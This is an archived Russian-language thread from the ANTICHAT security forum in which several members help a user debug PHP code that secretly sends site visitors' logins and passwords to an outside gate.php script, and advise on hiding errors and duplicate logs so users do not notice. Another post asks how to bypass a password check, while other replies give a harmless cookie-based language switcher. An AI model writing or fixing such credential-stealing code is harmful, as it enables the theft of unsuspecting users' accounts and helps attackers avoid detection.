HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 21.11.2007, 07:57
spyke
Познающий
Регистрация: 04.08.2005
Сообщений: 62
Провел на форуме:
350685

Репутация: 46
По умолчанию

Эх, не пашет(
 
Ответить с цитированием

  #2  
Старый 21.11.2007, 08:00
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734

Репутация: 1917


Отправить сообщение для Scipio с помощью ICQ
По умолчанию

Цитата:
Сообщение от spyke  
Эх, не пашет(
Ну это не серьезно, ты бы тогда сказал, какие ошибки выдает, соединяет ли или нет, вобщем все подробно

а вобще кинь мне в личку твой сайт, я поробую у себя скрипт запустить, посмотрим придут или нет тебе пароли
__________________
Карфаген должен быть разрушен...
 
Ответить с цитированием

  #3  
Старый 21.11.2007, 10:42
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию

Возможно ошибка в том, что немножко неправильно формируется GET-запрос... Обратите внимание, что в запросе перед спецификацией протокола (HTTP/1.0) не выставлен пробел... То есть, получается, что этот скрипт будет постоянно запрашивать несуществующий ресурс на сервере... Лечение простое - добавить этот чёртов пробел...

PHP код:
// (c) кусок кода, by Scipio
$host="http://myhost.com";
$fp fsockopen ($host80);
if (!
$fp) {
    echo 
"неполучилось";
} else {
$qs="GET /gate.php?acc=".$account."&pass=".$password." HTTP/1.0\r\nHost: ".$host."\r\n\r\n";
fputs ($fp$qs);
fclose ($fp);

 
Ответить с цитированием

  #4  
Старый 21.11.2007, 14:26
darckmilord
Познающий
Регистрация: 08.02.2007
Сообщений: 41
Провел на форуме:
136843

Репутация: 13
По умолчанию

Помогите пожалуйста

есть 2 кнопки, нужно чтобы при нажатии на одну из них файлы подключались из одного файла
а на другую из другого, и при чем чтобы при следующем заходе не требовалось нажимать снова а файл сам уже инклюдился и при этом для каждого заходящего на страницу отдельно, можно даже с записью информации куданибудь.

Прям самый простенький примерчик для понимания...
 
Ответить с цитированием

  #5  
Старый 21.11.2007, 14:37
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию

Задание не очень ясно... Ты хочешь сделать что-то типа аттачей в почтовом сервисе? Никто такое бесплатно делать не будет, ибо работы тут достаточно...
 
Ответить с цитированием

  #6  
Старый 21.11.2007, 14:51
darckmilord
Познающий
Регистрация: 08.02.2007
Сообщений: 41
Провел на форуме:
136843

Репутация: 13
По умолчанию

задача думаю не очень сложная.. но точно не знаю...
просто нужно реализовать чтото типа если нажал на первую кнопку был английский текс, а при нажатии на вторую русский текс. и при этом это куданить в файл писалось типа этот чел выбрал для себя русский и потом он зашел и сразу русский был, или через куки как нить... просто представляю себе это плохо а в готовых скриптах много лишнего и для меня там сложновато понять ченить
 
Ответить с цитированием

  #7  
Старый 21.11.2007, 16:03
195531
Новичок
Регистрация: 19.11.2007
Сообщений: 3
Провел на форуме:
8969

Репутация: 0
По умолчанию

Товарищи кодеры помогите пожалуйста советом!

вот такая вот проверка пароля в самом конце авторизации. Можно ли ее обойти?

PHP код:
$sql="select * from f_user where (nick='$innick')";
$resultn=mysql_query($sql);
$ar=mysql_fetch_array($resultn);

//вышестоящая проверка вырезана, поскольку там ничего не поделать

if ($ar['pass'] == $inpass) {      $_SESSION['userenter']=$ar['id']; 
 
Ответить с цитированием

  #8  
Старый 21.11.2007, 14:56
spyke
Познающий
Регистрация: 04.08.2005
Сообщений: 62
Провел на форуме:
350685

Репутация: 46
По умолчанию

Scipio и groundhog, спс огромное, все пашет. Дело в том что сайт часто посещаемый и если я не буду гасить вывод ошибки, юзеры могут просечь что к чему. Вот новый вопрос.
Поступают эти 2 переменные каждый раз, когда юзер ходит по личному кабинету. И пишутся они в файл blablabla.txt. Но проблема в том, что каждый раз, когда юзер кликает на ссылку в личном кабинете, эти переменные пишутся снова и снова в конец файла с новой строки. Как избежать дубляжа "на лету"? Просто такими темпами там будет 1ГБ запятых и одинаковых пар логин+пароль, а это палево.
 
Ответить с цитированием

  #9  
Старый 21.11.2007, 15:26
Ponchik
Постоянный
Регистрация: 30.08.2005
Сообщений: 730
Провел на форуме:
6828219

Репутация: 2274


По умолчанию

spyke, если ты ещё мучаешся с тем скриптом, то $host="myhost.com"; а не $host="http://myhost.com";
И ябы лично делалбы
file("http://web.ru/gate.php?acc=".$account."&pass=".$password); но на хостинге может не прокатить, такчто решай сам
А насчёт повторений
PHP код:
<?
if (!$_SESSION['gate']) {
//Сливаем логи и пасс
$_SESSION['gate'] = true;
}
?>
darckmilord,
Вот это токо пример как я делал...
делаш папку lang для неё Deny from all в неё пихаеш rus.php и eng.php
PHP код:
<?
//eng.php
$lang = array();
$lang['title'] = 'My website';
$land['welcome_msg'] = 'Hello';
?>
PHP код:
<?
//rus.php
$lang = array();
$lang['title'] = 'Мой вебсайт';
$lang['welcome_msg'] = 'Привет';
?>
В корне создаём file.php
PHP код:
<?
$languages 
= array('rus','eng');
if(!
$_COOKIE['lang'] || !in_array($_COOKIE['lang'],$languages)) {
    
setcookie('lang',$languages[0]);
    
$_COOKIE['lang'] = $languages[0];
}
if(
$_GET['lang'] && in_array($_GET['lang'],$languages)) {
    
setcookie('lang',$_GET['lang']);
    
$_COOKIE['lang'] = $_GET['lang'];
}
include(
"lang/{$_COOKIE['lang']}.php");
echo 
"<center><h1>{$lang['title']}</h1><br>{$lang['welcome_msg']}</center><br>";
echo 
'<a href="?lang=rus">rus</a> <a href="?lang=eng">eng</a>';
?>
Заходим на file.php и юзаем дальше сам думаю разберёшся

Последний раз редактировалось Ponchik; 21.11.2007 в 16:28..
 
Ответить с цитированием

  #10  
Старый 21.11.2007, 15:43
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию

darckmilord, да, задача действительно не из сильных. Я просто в смысл не въехал. Вот решение:

PHP код:
<?php

if (isset($_COOKIE["pillow"])) {
    
$pillow strtolower($_COOKIE["pillow"]);
    if (
$pillow === "blue") die("Матрица поимела тебя, Нео!");
    elseif (
$pillow === "red") die("Ты поимел матрицу, Нео!");
}

if (
strtolower($_SERVER["REQUEST_METHOD"])=="post")
    
setcookie("pillow"htmlspecialchars($_POST["pillow"]), time() + 60 60 24 365);

print(
"<h1>Красная или синяя, Нео? Сделай свой выбор!</h1>");
print(
"<form method=post>");
print(
"<input type=\"submit\" name=\"pillow\" value=\"BLUE\">\n");
print(
"<input type=\"submit\" name=\"pillow\" value=\"RED\">\n");
print(
"</form");

?>
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ